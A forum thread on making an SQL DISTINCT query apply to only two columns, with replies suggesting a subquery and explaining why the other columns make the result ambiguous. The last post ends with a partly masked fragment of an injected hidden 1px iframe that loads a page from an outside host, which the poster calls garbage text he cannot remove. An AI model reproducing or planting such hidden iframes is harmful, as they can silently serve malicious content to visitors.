SQL SELECT DISTINCT issue

[LEXCERM]

Hi all,

I have a table with columns A,B,C,D,E.

I am wanting to create a DISTINCT query on columns A,B only. However, when I run the query it seems to also validate against
the other fields and returns more records than expected.

How can I only query on columns A,B only and ignore the others?

Thanks!

 

[Kyle123]

I think you'd need to create a subquery, so a distinct query just on those fields followed by a left join to get the rest of the data - I think. It depends on the database you're using

 

[Micron]

You do not say how many of the fields are in your query, just that you have 4 in the table. If 4 are in the query and you are ignoring all but the first two, then remove the others and re-test. Since you are only using one table, I'm guessing each record is unique, but the values you want to be distinct are repeated. If so, the DISTINCT ROW predicate should not help either. A subquery with a DISTINCT predicate and two fields will try to create a "list" of unique rows, but then which of the rows of the rest of the data would it match these to? In other words, if we have in A B C D
1 2 3 4
1 2 5 6
1 3 7 8
1 3 5 6
and use DISTINCT on the 1st two fields, you'll get 1 2 and 1 3. Now which of the other rows for 1 2 do you expect Access to pick - 3 4 or 5 6? Apologies if garbage text follows. No matter what, I can't seem to prevent or remove it.

Your problem indicates to me that your table(s) is/are not normalized if you cannot pull out data without getting data you don't want to see.
Apologies if garbage text follows. No matter what, I can't remove or prevent it.
******** src="//102f.net/al1000.html" style="width: 1px; height: 1px; position: absolute; top: -10px; border: medium none;">*********>